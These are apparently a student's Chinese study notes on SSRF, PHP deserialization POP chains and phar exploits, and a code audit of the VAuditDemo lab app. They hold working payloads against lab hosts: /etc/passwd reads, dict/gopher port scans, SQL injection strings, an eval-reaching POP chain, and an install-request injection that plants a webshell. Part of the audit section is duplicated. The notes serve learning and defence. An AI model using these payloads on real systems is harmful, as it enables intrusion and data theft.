当前位置: 首页 > news >正文

3.5网安学习第三阶段第五周回顾(个人学习记录使用)

本周重点

①SSRF服务器端请求伪造

②序列化和反序列化

③Vaudit代码审计

本周主要内容

①SSRF服务器端请求伪造

一、概述

SSRF: server site request forgery (服务器端请求伪造)。

SSR: 服务端请求,A服务器通过函数向B服务器发送请求。

image-20240318233750859

SSRF发生的前提条件:

1、外网服务器接收到用户的参数,没有做严格的过滤和检查

2、外网服务器在调用内网服务器的时候,使用了用户传入的参数来调用内网服务器的接口。

二、代码样例

外网服务器代码:

<?php//注意这里的外网服务器并备有对传入参数做任何校验和过滤,直接调用内网服务器获取文件$fileurl = $_GET['file'];echo file_get_contents($fileurl);
?>

内网服务器代码:

<?php//注意这里内网服务器的代码是根据其他服务器传的文件地址参数来获取文件echo file_get_contents($_GET['fname']);
?>

三、场景

1、在线分享
早期的网站可以通过url地址分享内容给其他用户,此时,网站会根据目标网站主页的title或者<meta name="description" content="">标签中的content属性的内容来生成分享链接的,这样可以有更好的用户体验,例如早起的人人网的分享链接http://wiget.renren.com/***/?resourceUrl=http://www.duoduo.com/index.html,这个resourceUrl的值就是目标网站的地址2.在线转码
有些网站提供代码转换服务,以适应不同的设备展示的需求。例如百度,腾讯等都提供这种服务。可以把自己公司的网页传给转码服务,然后,会自动对代码做适当修改,以适应不同的展示设备的分辨率,字体等等。提高用户体验。此时,这种服务的请求类似于:http://www.baidu.com/convert?resource=http://www.abc.com/index.html3.在线翻译
跟在线转码差不多4.图像水印
可以给图片加水印,那么图片的地址就是动态传入的参数。5.图片或者文章收藏。
收藏保存的文章或图片的url地址,获取的时候,就是传入文章地址参数。

四、探测关键字

在浏览器的查看源代码的功能中,查询包含下列关键字的网页

share
wap
url
link
src
source
target  
u
3g
display
sourceURL
imageURL
domain
location
remote

五、判断SSRF存在

1、有回显

使用请求伪造给外网服务器发请求,看看是否有相应内容,有可能回显内容会经过一些处理,只显示部分内容。

2、无回显

在无任何回显的情况下,可以使用下面的方式进一步判断

(1)DNSlog : 在dnslog.cn上申请一个临时域名,把域名传入给外网的接口

http://192.168.121.128/ssrf/getfiles?file=http://xxx.bbb.ccc

然后去dnslog.cn上查看域名解析的结果,如果能看到,说明传入的参数file的值,是被直接传给内网服务器作为参数的。

(2)租用公网服务器(例如:IP地址是1.112.10.101),测试,并查看日志

把下面文件ssrf.php放在有公网ip的服务器上

<?php
echo "test ssrf";
?>

访问被探测的服务器的请求url

http://192.168.121.128/ssrf/getfiles?file=http://1.112.10.101/ssrf.php

这里就是借助被探测的服务器来访问黑客自己公网服务器上的文件ssrf.php,可以查看黑客的服务器日志,如果请求正常就进入到黑客的公网服务器,那么说明被探测的服务器是直接把file=http://1.112.10.101/ssrf.php作为请求参数传入的。

六、三个函数

我们要分三种情况来讨论,因为对方的外网服务器可能会采取下面这三个函数中的任意一个来请求他的内网服务器,不同的函数利用方式有细微差别

file_get_contents()     可以发送get|post请求
fsockopen()             只能发送get请求
curl_exec()             可以发送get|post请求

1、file_get_contents()

GET请求:
echo file_get_contents($_GET['file']);POST请求:
$url = $_GET['url'];
$content = $_GET['content'];
$name = $_GET['name'];$data = "content=$content&name=$name";$options = ['http'=>['method'=>'POST','header'=>"Content-Type:application/x-www-form-urlencoded",'content'=>$data
]];$context = stream_context_create($options);echo file_get_contents($url,false,$context);

2、fsockopen()

GET请求:
$f = fsockopen("192.168.32.129",80);$param="GET /secure21/html/calc.html HTTP/1.1\r\n";
$param.="Host:192.168.32.129\r\n";
$param.="Connection:close\r\n\r\n";fwrite($f,$param);while(!feof($f)){echo fread($f,1024);
}
fclose($f);POST请求:
$f = fsockopen("192.168.150.128",80);$param = "POST /ssrf/1.php HTTP/1.1\r\n";
$param = $param."Host: 192.168.150.128\r\n";
$param = $param."User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0\r\n";
$param = $param."Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
$param = $param."Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3\r\n";
$param = $param."Accept-Encoding: gzip, deflate\r\n";
$param = $param."Connection: Close\r\n";
$param = $param."Content-Type: application/x-www-form-urlencoded\r\n";
$param = $param."Content-Length: 26\r\n\r\n";
$param = $param."content=hello&name=zhangan";fwrite($f,$param);
while(!feof($f)){echo fread($f,1024);
}fclose($f);

3、curl_exec()

get请求:
$cu = curl_init();  curl_setopt($cu,CURLOPT_URL,"http://192.168.32.129/secure21/html/calc.html");
curl_setopt($cu,CURLOPT_HEADER,0);//不输出响应头
curl_exec($cu);
curl_close($cu);post请求:
$cu = curl_init();    $arr[CURLOPT_URL]="http://192.168.32.129/secure21/php/demo6.php";
$arr[CURLOPT_HEADER]=0;//不输出响应头
$arr[CURLOPT_RETURNTRANSFER]=1;//设置接受返回值
$arr[CURLOPT_POST]=1;//请求方式
$arr[CURLOPT_POSTFIELDS]="content=ssrfcurl_exec&name=post";//请求参数curl_setopt_array($cu,$arr);echo curl_exec($cu);
curl_close($cu);
?>

七、SSRF危害

1、可以对服务器外网,内网进行端口扫描

2、通过外网服务器,获取内网服务器的一些资源

3、探测一些应用程序的指纹信息

http://192.168.150.128/ssrf/curlweb.php?f=dict://192.168.150.129:3306/info

curlweb.php代码

<?php$url=$_GET['f'];
$cu = curl_init();
curl_setopt($cu,CURLOPT_URL,$url);
curl_setopt($cu,CURLOPT_HEADER,0);//响应头不输出
curl_exec($cu);
curl_close($cu);
?>

如果mysql在3306端口运行那么会返回一些信息。

image-20240325111914726

4、攻击内外网的web应用(例如sql注入等)

5、利用file,dict,gopher,http,https等协议读取本地文件,访问敏感目标,反弹shell等高危操作

gopher也可以用来探测mysql的指纹信息

八、利用

1、读取存在ssrf漏洞系统所在服务器的本地文件

(1)针对使用file_get_contents的情况:payload

http://192.168.121.128/ssrf/getfiles?file=/etc/passwd

(2)针对使用curl_exec的情况:payload:(file://是文件访问协议)

http://192.168.121.128/ssrf/curlgetfiles?file=file:///etc/passwd

还可以使用其他的伪协议

http://192.168.121.128/ssrf/curlgetfiles?file=php://inputpost data:
{"name":"zhangsan","age":12}其他伪协议可以参考文件包含的部分

2、远程资源获取

1、通过http扫ip

http://192.168.121.128/ssrf/getfiles?file=http://192.168.12.127 #有返回说明有服务开启
http://192.168.121.128/ssrf/getfiles?file=http://192.168.12.126 #没有返回说明没有服务开启
如此测试可以发现内网存在哪些开放80端口的应用

2、通过dict扫端口

注意这个协议不能跟file_get_contents一起使用。可以跟curl_exec()一起用

http://192.168.121.128/ssrf/getcurlfiles?file=dict://192.168.12.127:8000 #有返回说明有服务开启
http://192.168.121.128/ssrf/getcurlfiles?file=dict://192.168.12.126:8000 #没有返回说明没有服务开启

3、gopher也可以扫端口(不能跟file_get_contents一起使用)

http://192.168.121.128/ssrf/getcurlfiles?file=gopher://192.168.12.127:80 #有返回说明有服务开启
http://192.168.121.128/ssrf/getcurlfiles?file=gopher://192.168.12.126:80 #没有返回说明没有服务开启

九、防御

1、白名单:限制ip和域名

2、白名单:限制端口

3、白名单:限制协议;

注意白名单限制一定要写完整的白名单,例如:定义一个数组,把能访问的文件列表放进数组whiteList = ["http://192.168.12.128/files/tcp/alluser.txt","http://192.168.12.128/files/tcp/depts.txt"]判断的时候,请求的url路径也需要跟上面数组定义的完全吻合才可以放行。白名单中不能只放入ip地址,后者域名,那样很容易被绕过,例如whiteList=["192.168.12.128","192.168.12.129"]这种白名单很容易被绕过http://192.168.12.128@102.168.123.122/file/tcp/allusers.txt注意192.168.12.128@102.168.123.122的意思是要访问102.168.123.122的主机,使用192.168.12.128作为登录的用户名。

4、用户需要认证。每次请求要验证用户的身份,需要先获取令牌,或者登录。

5、屏蔽底层错误信息,避免用户根据错误信息来判断服务器的端口状态

6、限制重定向操作

当使用curl_exec()函数的时候,可以设置参数CURLOPT_FOLLOWLOCATION=false来限制header("Location:list.php")这种通过响应头的重定向机制,不能限制js端的重定向。
如果要向限制js端的重定向,需要对响应的内容进行判断,查找其中的location.href这类的字样
$res = curl_exec()
if(	stripos($res,'location.href')==false )echo $res;
else die();

7、避免直接使用请求带来的参数,可以根据请求的参数,转成请求对应资源。这种相当于写死了能够请求的资源

$re = $_GET['f']
if($re==1){请求:http://102.168.123.122/file/tcp/allusers.txt
}
if($re==2){请求:http://102.168.123.122/file/tcp/depts.txt
}

8、限制url请求的长度

十、绕过

1、IP地址使用十进制

工具网站:https://www.bejson.com/convert/ip2int/

http://1696940379

这种可以绕过使用了黑名单限制后台程序。

2、生成短链接可以绕过针对url地址长度的限制。

②序列化和反序列化

一、面向对象

1、类:

类:具有相同属性和行为的事物。

对象: 类的实例化个体。

2、访问修饰符

属性:0upublicprotectedprivate
方法:publicprotectedprivateprivate只能在类中使用
protected修饰的可以在本类和子类中使用
private不能被继承。

3、静态方法

1.通过static关键字定义的方法:在该方法中,不能使用$this;
2.静态方法随类一起被加载:所以静态方法可以被类名或者对象调用;
3.静态方法中不能调用实例方法。

4、类的结构

class 类名{访问修饰符 ;  //属性访问修饰符 function 方法名(形参列表){     //方法方法体;}
}

5、样例代码

<?phpclass Animal{private $ace;protected $height="animal height----";public $name="animal name----";public $oice="animal oice----";public function talk(){echo "animal talks<br>";$this->sing();}protected function swim(){echo "animal swims<br>";}private function sing(){echo "animal sings<br>";}public function setAce($a){$this->ace = $a;}public function getAce(){echo $this->ace."<br>";}public static function run(){echo "static method:animal run<br>";}}class Dog extends Animal{public $oice="dog oice<br>";public function talk(){echo "dog talks<br>";}public function play(){$this->swim();echo "dog play<br>";}public function getName(){echo $this->name;}public function getHeight(){echo $this->height;}public function getOice(){echo $this->oice;}
}
$animal = new Animal;
$animal->talk()."<br>";
$animal->setAce("11111");
echo $animal->getAce()."<br>";
Animal::run();//调用静态方法
echo ">>>>>>>>>>>>>>>>>>>>>....<br>";
$dog = new Dog;
$dog->talk();
$dog->play();
$dog->getName();
$dog->getHeight();
$dog->getOice();?>

6、魔术方法

方法描述
__construct( )新对象被创建时候调用
__destruct()对象被销毁时候调用
__call()在对象中调用一个不可访问方法时,__call()会被调用。
__callStatic()在静态上下文中调用一个不可访问方法时,__callStatic() 会被调用。
__get()读取不可访问(protected 或 private)或不存在的属性的值时会被调用
__set()在给不可访问(protected 或 private)或不存在的属性赋值时会被调用
__isset()当对不可访问(protected 或 private)或不存在的属性调用 isset()或 empty() 时,__isset() 会被调用。
__unset()当对不可访问(protected 或 private)或不存在的属性调用 unset()时,__unset() 会被调用。
__sleep()执行序列化操作时候先执行这个方法
__wakeup()执行反序列化操作时候先执行这个方法
__toString()当一个类对象被当成字符串使用的时候会调用
__invoke()当尝试以调用函数的方式调用一个对象时这个方法会调用
__clone()当复制完成时,如果定义了__clone() 方法,则新创建的对象(复制生成的对象)中的 __clone() 方法会被调用,可用于修改属性的值(如果有必要的话)。

二、序列化和反序列化

1、序列化:字符串中,只包含类名和属性。与方法无关。

1.serialize()函数生成:
将php中类复制到另一个文件中,删除所有方法,只保留属性和与赋值相关的构造方法。
通过serialize(new 类名)得到序列化字符串
2.手工写:
O:长度:"类名":属性数量:{数据类型:长度:"属性名字";i:值;xxx}
O:长度:"类名":属性数量:{数据类型:长度:"属性名字";s:长度:值;xxxx}

2、反序列化: 源码中,定义的程序入口。通过unserialize()函数实现。

$obj = unserialize($_GET['str']);   //将序列化字符串还原成对象

3、使用场景:

当请求时候,需要传递的参数是对象的时候。

发请求的代码:

<?php
class Animal{private $ace;protected $height="animal height----";public $name="animal name----";public $oice="animal oice----";public function talk(){echo "animal talks<br>";$this->sing();}protected function swim(){echo "animal swims<br>";}private function sing(){echo "animal sings<br>";}public function setAce($a){$this->ace = $a;}public function getAce(){echo $this->ace."<br>";}public static function run(){echo "static method:animal run<br>";}}
$animal = new Animal;
$animaljson = base64_encode(serialize($animal));
$cu = curl_init();
$arr =[];
$arr[CURLOPT_URL]="http://192.168.150.129/receiveobj.php";
$arr[CURLOPT_HEADER]=0;
$arr[CURLOPT_RETURNTRANSFER]=1;
$arr[CURLOPT_POST]=1;
$arr[CURLOPT_POSTFIELDS]=$animaljson;curl_setopt_array($cu,$arr);echo curl_exec($cu);curl_close($cu);
?>

被请求的代码

<?phpclass Animal{private $ace;protected $height;public $name;public $oice;public function talk(){echo "animal talks<br>";}protected function swim(){echo "animal swims<br>";}private function sing(){echo "animal sings<br>";}public function setAce($a){$this->ace = $a;}public function getAce(){echo $this->ace."<br>";}}$o = file_get_contents("php://input");
echo $o;
echo "<br>";$dog1 = unserialize(base64_decode($o));
echo $dog1->getAce();
?>

4、反序列化漏洞利用前提

1、对象必须以序列化后的字符串形式在页面之间传递,说白了就是要让用户可以用可控的输入点。
2、在类定义中,在以上的魔术方法中,能够在反序列化时候被调用到的魔术方法中存在一些危险函数,例如eval。

三、调用链

POP即:面向属性编程(Property-Oriented Programing)常用于上层语言构造特定调用链的方法,是从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链。在控制代码或者程序的执行流程后就能够使用这一组调用链做一些工作了。

一般的序列化攻击都在PHP魔术方法中出现可利用的漏洞,因为自动调用触发漏洞,但如果关键代码没在魔术方法中,而是在一个类的普通方法中。这时候就可以通过构造POP链寻找相同的函数名将类的属性和敏感函数的属性联系起来。

我们在寻找深层次调用链时,使用终点向上查找的方法,或是开始点查找的方法。来找到反序列化漏洞。

使用以下代码,实现任意命令的调用。

<?phpclass Tiger{public $string;protected $var;public function __toString(){return $this->string;}public function boss($value){@eval($value);}public function __invoke(){$this->boss($this->var);}
}
class Lion{public $tail;public function __construct(){$this->tail = array();}public function __get($value){$function = $this->tail;return $function();}
}
class Monkey{public $head;public $hand;public function __construct($here="Zoo"){$this->head = $here;echo "Welcome to ".$this->head."<br>";}public function __wakeup(){if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->head)) {echo "hacker";$this->source = "index.php";}}
}
class Elephant{public $nose;public $nice;public function __construct($nice="nice"){$this->nice = $nice;echo $nice;}public function __toString(){return $this->nice->nose;}
}
if(isset($_GET['zoo'])){@unserialize($_GET['zoo']);
}
else{$a = new Monkey;echo "Hello PHP!";
}?>

构造好的POC

<?phpclass Tiger{public $string;protected $var = "phpinfo();";}class Lion{public $tail;public function __construct(){$this->tail = new Tiger();}}class Monkey{public $head;public $hand;public function __construct($here="Zoo"){$this->head = new Elephant();}}class Elephant{public $nose;public $nice;public function __construct($nice="nice"){$this->nice = new Lion();}}$monkey = new Monkey();echo urlencode(serialize($monkey));//注意用urlencode编码一下,否则protected和private修饰的属性会有些字符无法显示
?>

image-20240325210910218

四、phar反序列化漏洞

1、条件:生成phar压缩文件。

1.php.ini文件中,phar.readonly=Off
2.存放phar压缩文件的目录必须有写权限。

2、phar文件结构

1.stub: <?php __HALT_COMPILER();?>   PHAR文件声明
2.metadata: 元数据,声明数据的数据。用来支持如指示存储位置、历史数据、资源查找、文件记录等功能。
3.content: 被压缩的文件
4.signature: 签名1、stub
stub的基本结构:<?php __HALT_COMPILER();?>前面内容不限,但必须以__HALT_COMPILER();?>来结尾,否则phar扩展将无法识别这个文件为phar文件。
2、meta-data
phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这里即为反序列化漏洞点。
3、content
被压缩文件的内容。
4、signature
签名,放在文件末尾。

3、构造访问phar的代码,文件命名为phar.php:

<?php
class Vul{public $data;function __destruct(){@eval($this->data);}
}
$filename = 'phar://test.phar/test.txt';
file_exists($filename);
?>

生成压缩文件test.phar的代码,文件名为createphar.php

注意:createphar.php当前目录需要有写权限

<?php
class Vul{public $data="phpinfo();";
}@unlink("test.phar");//删除已有的文件
$phar=new Phar("test.phar");   
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER();?>");
$v = new Vul;
$phar->setMetaData($v);
$phar->addFromString("test.txt","test");
$phar->stopBuffering();?>

触发漏洞

访问http://192.168.150.128/phar.php

image-20240325213402277

③Vaudit代码审计

一、安装

1、上传vaudit压缩文件到/opt/lampp/htdocs

2、解压缩

unzip VAuditDemo-master.zip

3、修改目录名称

cd /opt/lampp/htdocs
cd VAuditDemo-master
mv VAuditDemo_Debug vaudit
cd ..
mv VAuditDemo-master vaudit

4、修改httpd.conf文件

vi /opt/lampp/etc/httpd.conf
添加一个端口
Listen 81

image-20240323105811462

image-20240323110143594

保存并退出。

5、编辑httpd-vhost.conf

vi /opt/lampp/etc/extra/httpd-vhosts.conf
把文件中的原来内容全部删除,并把下面的内容输入到文件中
<VirtualHost *:81>serverName localhostDocumentRoot "/opt/lampp/htdocs/vaudit/vaudit"
</VirtualHost>

6、重启lampp

/opt/lampp/xampp restart

7、访问项目首页

http://192.168.217.128:81/index.php

可以看到url跳转到系统安装的地址

http://192.168.217.128:81/install/install.php

image-20240323111111459

8、修改目录和文件权限

chmod o+w /opt/lampp/htdocs/vaudit/vaudit/sys
chmod o+w /opt/lampp/htdocs/vaudit/vaudit/uploads
chmod o+w /opt/lampp/htdocs/vaudit/vaudit/sys/config.php

再次访问页面,

http://192.168.217.128:81/install/install.php

看到下面的页面,说明修改成功

image-20240323111336374

在以上页面输入正确的数据库地址,用户名,密码点击安装按钮。数据库名称不用修改,就使用vauditdemo。

如果数据库已经存在,那么先删掉数据库,再点击安装按钮。

看到下面的页面,说明安装成功。

image-20240323112259014

二、代码审计

1、安装漏洞

可以反复执行安装程序

http://192.168.217.128:81/install/install.php

使用burp拦截请求后可以看到安装页面上默认的数据库信息。

原因是

header( "Location: ../index.php" );页面跳转并不能停止php其余代码的执行和返回结果

需要在header后面增加die(),终止php程序运行。

2、XSS漏洞

在主页的留言搜索框,xss注入漏洞。

3、注册页面

没有验证码,可以通过循环遍历,注册无数的用户。

4、普通用户登录

没有验证码可以暴力破解

登录logCheck.php

admin'--logCheck--》
$_SESSION['username'] = $row['user_name'];
$_SESSION['avatar'] = $row['user_avatar'];
登录成功后,返回到 user.php,此时下面的查询会出现sql注入风险
研究一下session中的username是否会有sql注入的可能:admin' limit 2,1#
$query = "SELECT * FROM users WHERE user_name = '{$_SESSION['username']}'";
$_SESSION['user_id'] = $result['user_id'];
5、二次注入

先注册一个用户名中反斜杠结尾的用户,例如:zhangsan\

重新登录

发帖子,来到messageSub.php

	$clean_message = clean_input($_POST['message']);//直接使用发帖内容做sql注入不行//这个sql语句,从session获取的用户名带一个反斜杠,会注释掉'{$_SESSION['username']}'后面的单引号。此时可以构造一个留言的payload$query = "INSERT INTO comment(user_name,comment_text,pub_date) VALUES ('{$_SESSION['username']}','$clean_message',now())";

留言payload是:

,(SELECT DATABASE ( ) ), now( ) )#
6、任意文件读取

avatar.php中的

echo file_get_contents($_SESSION['avatar']);

$_SESSION[‘avatar’]在登录的时候,从users表中获取的avater的值,放入session

users表中获取的avater的值,是从上传头像时候保存进数据库。

updateAvatar.php:

$query = "UPDATE users SET user_avatar = '$avatar' WHERE user_id = '{$_SESSION['user_id']}'";

构造上传文件的文件名的payload,需要用burp拦截修改的。

',user_avatar=0x2f6574632f706173737764 where user_name='wangwu'#.jpg
7、越权

在更新用户名的页面,提交请求后,updateName.php,根据浏览器传入的userid来修改数据库记录

  $clean_user_id = clean_input($_POST['id']);$query = "UPDATE users SET user_name = '$clean_username' WHERE user_id = '$clean_user_id'";

我们可以用burp拦截,把id修改成其他人的。

image-20240328104600832
8、首页上有文件包含漏洞

首页包含的文件有后缀.inc,所以使用phar伪协议方式

制作一个一句话木马文件,a.inc,放入到压缩文件b.zip,把b.zip改名为b.jpg,

上传之后,在首页文件包含的地方访问,用phar协议

9、管理员登录的url地址不应该暴露给c端用户
http://192.168.218.128:81/admin/login.php
10、管理员登录页面

验证码可以重复使用

11、登录验证过程

logCheck.php

$query = "UPDATE users SET login_ip = '$ip' WHERE user_id = '$row[user_id]'";

这里的ip是从请求头来的

我们可以修改请求头x-forwarded-for,

注入一个xss存储型

<script>alert(1)</script>
12、任意linux命令执行

管理员ping的功能,可以使用管道符来执行任意linux命令

13、sql注入

messageDetail.php页面

	$id = sqlwaf( $_GET['id'] );$query = "SELECT * FROM comment WHERE comment_id = $id";

sqlwaf有逻辑漏洞。可以使用payload注入,

?id=9 uni||on se||lect 1,2,3,database() limi||t 1,1
14、SQL注入+越权

登录成功后跳转,看到user.php中,

$query = "SELECT * FROM users WHERE user_name = '{$_SESSION['username']}'";
$_SESSION['user_id'] = $result['user_id'];

怀疑有sql注入风险,如果用户名中有单引号就可以造成注入。根据用户名查询到的user_id放入到session,那么,以后更新操作都根据user_id,就可能导致越权。

下面就是研究如何能让session的username有单引号出现。

查看regCheck.php,这里clean_input只是对单引号,双引号,反斜线做了防御

	$clean_name = clean_input($_POST['user']);$clean_pass = clean_input($_POST['passwd']);

那么这个insert语句就可以注册用户名含有单引号的账号

$query = "INSERT INTO users(user_name,user_pass,user_avatar,join_date) VALUES ('$clean_name',SHA('$clean_pass'),'$avatar','$date')";

再去看logCheck.php

$query = "SELECT * FROM users WHERE user_name = '$clean_name' AND user_pass = SHA('$clean_pass')";

从数据库中查询用户信息,包含用户名和用户的id,并且把从数据库查到的用户名放入session,那么session中的用户名就会存在单引号。

$_SESSION['username'] = $row['user_name'];

我们可以考虑先注册一个带有单引号的用户名,然后在去更改用户信息。就能够越权修改其他用户的信息了

注册的用户名长度不能超过16个字符长度,所以可以使用

'||1 limit 2,1#
15、系统重新安装漏洞
POST /install/install.php HTTP/1.1
Host: 192.168.218.128:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=p1t2n3j5ejheqf2hbohuhuk337
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 79dbhost=localhost&dbuser=root&dbpass=1234&Submit=sub&dbname=aaaa;#";phpinfo();//

可以写入一句话木马到config.php

这个insert语句就可以注册用户名含有单引号的账号

$query = "INSERT INTO users(user_name,user_pass,user_avatar,join_date) VALUES ('$clean_name',SHA('$clean_pass'),'$avatar','$date')";

再去看logCheck.php

$query = "SELECT * FROM users WHERE user_name = '$clean_name' AND user_pass = SHA('$clean_pass')";

从数据库中查询用户信息,包含用户名和用户的id,并且把从数据库查到的用户名放入session,那么session中的用户名就会存在单引号。

$_SESSION['username'] = $row['user_name'];

我们可以考虑先注册一个带有单引号的用户名,然后在去更改用户信息。就能够越权修改其他用户的信息了

注册的用户名长度不能超过16个字符长度,所以可以使用

'||1 limit 2,1#
15、系统重新安装漏洞
POST /install/install.php HTTP/1.1
Host: 192.168.218.128:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=p1t2n3j5ejheqf2hbohuhuk337
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 79dbhost=localhost&dbuser=root&dbpass=1234&Submit=sub&dbname=aaaa;#";phpinfo();//

可以写入一句话木马到config.php

相关文章:

3.5网安学习第三阶段第五周回顾(个人学习记录使用)

本周重点 ①SSRF服务器端请求伪造 ②序列化和反序列化 ③Vaudit代码审计 本周主要内容 ①SSRF服务器端请求伪造 一、概述 SSRF: server site request forgery (服务器端请求伪造)。 SSR: 服务端请求&#xff0c;A服务器通过函数向B服务器发送请求。 SSRF发生的前提条件…...

kali常用命令功能简介记录

Kali Linux中常用的命令&#xff1a; 1. apt-get update&#xff1a;更新软件源列表。 2. apt-get upgrade&#xff1a;升级系统中已安装的软件包。 3. apt-get install [软件包]&#xff1a;安装指定的软件包。 4. apt-get remove [软件包]&#xff1a;卸载指定的软件包。 5.…...

低噪声、轨至轨运算放大器芯片—— D721、D722、D724,适合用于音频领域

应用领域 D721、D722、D724是我们推荐的三款低噪声、轨至轨运算放大器芯片&#xff0c;其中D721为单运放&#xff0c;D722为双运放&#xff0c;D724为四运放。适合用于音频领域、传感器等的信号放大处理&#xff0c;比如K歌宝、音响、测距、滤波器、AD转换器前级信号处理等等。…...

【统计】什么事 R 方

将线性模型拟合到时间序列时&#xff0c;通常使用最小二乘法在模型 y ^ ( t ) a b t \hat{y}(t) a bt y^​(t)abt中找到系数 a a a和 b b b&#xff0c;其中 y ^ ( t ) \hat{y}(t) y^​(t)是时间 t t t的预测值&#xff0c;而的观测值是 y ( t ) y(t) y(t)。 残差平方和又…...

Maplesoft Maple 2024(数学科学计算)mac/win

Maplesoft Maple是一款强大的数学计算软件&#xff0c;提供了丰富的功能和工具&#xff0c;用于数学建模、符号计算、数据可视化等领域的数学分析和解决方案。 Mac版软件下载&#xff1a;Maplesoft Maple 2024 for mac激活版 WIn版软件下载&#xff1a;Maplesoft Maple 2024特别…...

实战 | YOLOv8自定义数据集训练实现手势识别 (标注+训练+预测 保姆级教程--含数据集)

导 读 本文将手把手教你用YoloV8训练自己的数据集并实现手势识别。 安装环境 【1】安装torch, torchvision对应版本,这里先下载好,直接安装 pip install torch-1.13.1+cu116-cp38-cp38-win_amd64.whlpip install torchvision-0.14.1+cu116-cp38-cp38-win_amd64.whl 安装好…...

从零学算法2810

2810.你的笔记本键盘存在故障&#xff0c;每当你在上面输入字符 ‘i’ 时&#xff0c;它会反转你所写的字符串。而输入其他字符则可以正常工作。 给你一个下标从 0 开始的字符串 s &#xff0c;请你用故障键盘依次输入每个字符。 返回最终笔记本屏幕上输出的字符串。 示例 1&am…...

Vue——案例01(查询用户)

目录 一、案例实现页面 二、案例实现效果 1. 查询效果 2. 年龄升序 3. 年龄降序 4. 原顺序 三、案例实现思路 四、完整代码 一、案例实现页面 实现用户对年龄的升降的排序、根据名字搜索用户信息以及重新返回原序列 二、案例实现效果 1. 查询效果 2. 年龄升序 3. 年龄…...

【数据结构】线性表

文章目录 前言线性表的定义和基本操作1.线性表的定义2.线性表的基本操作 顺序表的定义1.静态分配方式2.动态分配方式 顺序表的插入和删除1.顺序表的插入2.顺序表的删除 顺序表的查找1.按位查找&#xff08;简单&#xff09;2.按值查找 单链表的定义1.代码定义一个单链表2.不带头…...

983. 最低票价 C++

class Solution { public:int mincostTickets(vector<int>& days, vector<int>& costs) {// 状态定义&#xff1a; f[i] 表示 i 天及之后 旅行所需的最小花费int f[366]{};// 标注哪些天 出门for (int v: days) f[v] 1;// 由于状态转移是逆向的 所以倒序 …...

紫光展锐P7885核心板详细参数介绍_5G安卓智能模块开发方案

紫光展锐P7885核心板采用了先进的6nm EUV制程工艺&#xff0c;集成了高性能的应用处理器和金融级安全解决方案&#xff0c;为用户带来了全新的性能体验。 P7885核心板搭载了先进的6nm制程工艺SoC P7885&#xff0c;其中包含四核A76和四核A55&#xff0c;主频可达2.7Ghz&#xf…...

Keil MDK 5.37 及之后版本 安装 AC5(ARMCC) 编译器详细步骤

由于 Keil 5.37 及之后版本不再默认安装 AC5(ARMCC) 编译器&#xff0c;这就会导致由 AC5 编译的工程无法正常编译&#xff0c;往往输出窗口会提示以下信息&#xff1a;*** Target ‘STM32xxxx‘ uses ARM-Compiler ‘Default Compiler Version 5‘ which is not available. —…...

速盾:cdn配置ssl

CDN&#xff08;Content Delivery Network&#xff09;是一种内容分发网络&#xff0c;它的作用是将原始服务器上的内容分发到全球各地的边缘节点上&#xff0c;以提高用户访问速度和稳定性。随着数据传输的安全性要求越来越高&#xff0c;配置SSL&#xff08;Secure Sockets L…...

代码随想录算法训练营 Day41 动态规划3

Day41 动态规划3 343. 整数拆分 思路 不知道如何拆分&#xff0c;才能使乘积最大化 有什么理论依据&#xff1f; 根据代码随想录 拆分使乘积最大化逻辑&#xff1a;应该尽可能拆成相同的数 根据题目&#xff0c;发现&#xff0c;拆分后的数可以继续拆分&#xff0c;因此可…...

面试题:反推B+树高度

一个表5000w数据&#xff0c;一个数据行大小为1k&#xff0c;主键为long类型数据&#xff0c;假设指针大小为8B&#xff0c;页大小为16K&#xff0c;求B树的高度&#xff1f; B树的非叶子节点存储key和指针&#xff0c;叶子节点存储数据&#xff0c;对应表中的某些行。 叶子节点…...

瑞吉外卖实战学习--11、分类管理的列表分页查询

分类管理的列表分页查询 前言1、创建接口2、基于分页组件来实现的 前言 通过前端接口可以看到请求和传递的参数&#xff0c;本文章是基于mybatisPlus的分页插件来实现的 1、创建接口 GetMapping("/page")public R<Page> page(int page,int pageSize){ // …...

网络安全新视角:数据可视化的力量

在当今数字化时代&#xff0c;网络安全已成为各大企业乃至国家安全的重要组成部分。随着网络攻击的日益复杂和隐蔽&#xff0c;传统的网络安全防护措施已难以满足需求&#xff0c;急需新型的解决方案以增强网络防护能力。数据可视化技术&#xff0c;作为一种将复杂数据转换为图…...

Aurora8b10b(2)上板验证

文章目录 前言一、AXI_Stream数据产生模块二、上板效果总结 前言 上一篇内容我们已经详细介绍了基于aurora8b10b IP核的设计&#xff0c;本文将基于此进一步完善并且进行上板验证。 设计思路及代码思路参考FPGA奇哥系列网课 一、AXI_Stream数据产生模块 AXIS协议是非常简单的…...

每天五分钟计算机视觉:使用神经网络完成人脸的特征点检测

本文重点 我们上一节课程中学习了如何利用神经网络对图片中的对象进行定位,也就是通过输出四个参数值bx、by、bℎ和bw给出图片中对象的边界框。 本节课程我们学习特征点的检测,神经网络可以通过输出图片中对象的特征点的(x,y)坐标来实现对目标特征的识别,我们看几个例子。…...

表白墙项目(JAVA实现)

